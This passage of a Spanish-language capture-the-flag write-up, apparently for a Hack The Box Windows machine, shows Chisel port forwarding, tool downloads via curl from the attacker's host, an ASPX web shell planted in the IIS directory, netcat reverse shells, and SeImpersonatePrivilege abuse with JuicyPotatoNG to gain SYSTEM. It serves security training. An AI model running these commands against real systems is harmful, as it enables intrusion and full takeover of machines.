  TCP    0.0.0.0:9389           g0:0                   LISTENING

[...]

Remote port forwarding

Para inspeccionar el tráfico que fluye a través de este puerto, podemos utilizar un Remote port forwarding hacia nuestra máquina de ataque. Para ello, utilizaremos la herramienta Chisel. En primer lugar, compartiremos el ejecutable para Windows creando un servidor HTTP en Python.

1
2
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Descargamos la herramienta en la máquina víctima.

1
2
3
4
5
6
7
8
9
10
11
PS C:\Users\C.Bum\Desktop> curl http://10.10.14.6/chisel.exe -o chisel.exe
curl http://10.10.14.6/chisel.exe -o chisel.exe
PS C:\Users\C.Bum\Desktop> dir
dir

    Directory: C:\Users\C.Bum\Desktop

Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-a----        4/18/2023  11:42 PM        8230912 chisel.exe
-ar---        4/18/2023  11:26 PM             34 user.txt

En este caso, nuestra máquina atacante actuará como servidor para recibir la conexión. Para ello, debemos utilizar el siguiente comando y especificar el puerto del servidor:

1
2
3
4
❯ ./chisel_1.7.7_linux_amd64 server -p 9999 -reverse
2023/04/18 17:38:24 server: Reverse tunnelling enabled
2023/04/18 17:38:24 server: Fingerprint wq+IoivPZYHPs+td0xyMknuMz9J3t042og8Znskfol8=
2023/04/18 17:38:24 server: Listening on http://0.0.0.0:9999

Por otro lado, la máquina víctima actuará como cliente. Para ello, debemos ejecutar el siguiente comando, especificando el puerto del servidor y redirigiendo el tráfico del puerto 8000 al puerto 8000 de la máquina atacante.

1
2
3
4
PS C:\Users\C.Bum\Documents> .\chisel.exe client 10.10.14.6:9999 R:8000:127.0.0.1:8000
.\chisel.exe client 10.10.14.6:9999 R:8000:127.0.0.1:8000
2023/04/18 22:39:00 client: Connecting to ws://10.10.14.6:9999
2023/04/18 22:39:01 client: Connected (Latency 130.7676ms)

Ahora, si accedemos a la dirección 127.0.0.1:8000 de la máquina atacante, podremos acceder a la siguiente página web.

web3

Usamos la herramienta WhatWeb para identificar las tecnologías que utiliza el servicio web.

1
2
❯ whatweb http://127.0.0.1:8000/
http://127.0.0.1:8000/ [200 OK] Bootstrap, Country[RESERVED][ZZ], Frame, Google-API[ajax/libs/jquery/1.10.2/jquery.min.js], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[127.0.0.1], JQuery[1.10.2,1.11.2], Microsoft-IIS[10.0], Modernizr[2.8.3-respond-1.4.2.min], Script[text/javascript], Title[Flight - Travel and Tour], X-Powered-By[ASP.NET], X-UA-Compatible[IE=edge], YouTube

El resultado de WhatWeb nos informa que el servidor utilizado es un Microsoft Internet Information Services (IIS).

Como sabemos, el directorio inetpub de Windows se utiliza para los servicios de Microsoft Internet Information Services (IIS). Por lo tanto, accedemos a él para identificar su contenido.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PS C:\inetpub> cd development
cd development
PS C:\inetpub\development> dir
dir

    Directory: C:\inetpub\development

Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
d-----        4/18/2023  11:42 PM                css                                                                   
d-----        4/18/2023  11:42 PM                fonts                                                                 
d-----        4/18/2023  11:42 PM                img                                                                   
d-----        4/18/2023  11:42 PM                js                                                                    
-a----        4/16/2018   2:23 PM           9371 contact.html                                                          
-a----        4/16/2018   2:23 PM          45949 index.html

Podemos observar que en C:\inetpub\development encontramos los recursos de la página web. Por lo tanto, podemos subir una web shell para establecer nuevamente una reverse shell. Es importante mencionar que, como estamos ante un IIS, debemos usar una extensión compatible como .aspx. En este caso usaremos la siguiente: https://raw.githubusercontent.com/xl7dev/WebShell/master/Aspx/ASPX%20Shell.aspx

Compartimos la Web Shell con extensión .aspx a la máquina víctima como de costumbre.

1
2
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PS C:\inetpub\development> curl http://10.10.14.6/webshell.aspx -o webshell.aspx
curl http://10.10.14.6/webshell.aspx -o webshell.aspx
PS C:\inetpub\development> dir
dir

    Directory: C:\inetpub\development

Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
d-----        4/18/2023  11:57 PM                css                                                                   
d-----        4/18/2023  11:57 PM                fonts                                                                 
d-----        4/18/2023  11:57 PM                img                                                                   
d-----        4/18/2023  11:57 PM                js                                                                    
-a----        4/16/2018   2:23 PM           9371 contact.html                                                          
-a----        4/16/2018   2:23 PM          45949 index.html                                                            
-a----        4/18/2023  11:59 PM           5110 webshell.aspx

Luego, establecemos nuestra reverse shell utilizando el ejecutable nc.exe que subimos anteriormente.

webshell

Nos ponemos a la escucha en el puerto correspondiente para recibir la conexión.

1
2
3
4
5
6
7
8
9
❯ nc -nlvp 4488
listening on [any] 4488 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.11.187] 49879
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\nc> whoami
whoami
iis apppool\defaultapppool

Escalación de privilegios


Una vez que nos encontramos como usuario defaultapppool, debemos buscar alguna forma de convertirnos en usuario SYSTEM. Para ello, comenzamos por listar los permisos asignados al usuario actual.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PS C:\nc> whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeMachineAccountPrivilege     Add workstations to domain                Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

Abuso de SeImpersonatePrivilege

Como podemos observar, el privilegio SeImpersonatePrivilege está activado. Según el artículo Abusing Tokens, podemos explotarlo con varias herramientas. En este caso, haremos uso de JuicyPotatoNG.

Procedemos a compartir la herramienta JuicyPotato en la máquina víctima, siguiendo los procedimientos habituales.

1
2
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
1
2
3
4
5
6
7
8
9
10
11
12
PS C:\nc> curl http://10.10.14.6/JuicyPotatoNG.exe -o JuicyPotatoNG.exe
curl http://10.10.14.6/JuicyPotatoNG.exe -o JuicyPotatoNG.exe
PS C:\nc> dir
dir

    Directory: C:\nc

Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
d-----        4/19/2023  12:13 AM                Microsoft                                                             
-a----        4/19/2023  12:25 AM         153600 JuicyPotatoNG.exe                                                     
-a----        4/19/2023  12:11 AM          59392 nc.exe

Una vez compartida la herramienta JuicyPotato en la máquina víctima, ejecutamos el siguiente comando para obtener una shell inversa y ejecutar PowerShell como usuario system.

1
2
PS C:\nc> .\JuicyPotatoNG.exe -t * -p "C:\nc\nc.exe" -a "10.10.14.6 9001 -e powershell"
.\JuicyPotatoNG.exe -t * -p "C:\nc\nc.exe" -a "10.10.14.6 9001 -e powershell"

Nos ponemos en escucha en el puerto correspondiente para recibir la conexión de la shell inversa.

1
2
3
4
5
6
7
8
9
❯ nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.11.187] 49948
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\> whoami
whoami
nt authority\system

Finalmente como usuario system ya podemos acceder a la flag root ubicada en el escritorio.

1
2
3
4
5
6
7
8
9
10
11
12
PS C:\Users\Administrator\Desktop> dir
dir

    Directory: C:\Users\Administrator\Desktop

Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-ar---        4/18/2023  11:26 PM             34 root.txt                                                              

PS C:\Users\Administrator\Desktop> type root.txt
type root.txt
a587e6c4c722a758****************

¡Happy Hacking!

Esta entrada está licenciada bajo CC BY 4.0 por el autor.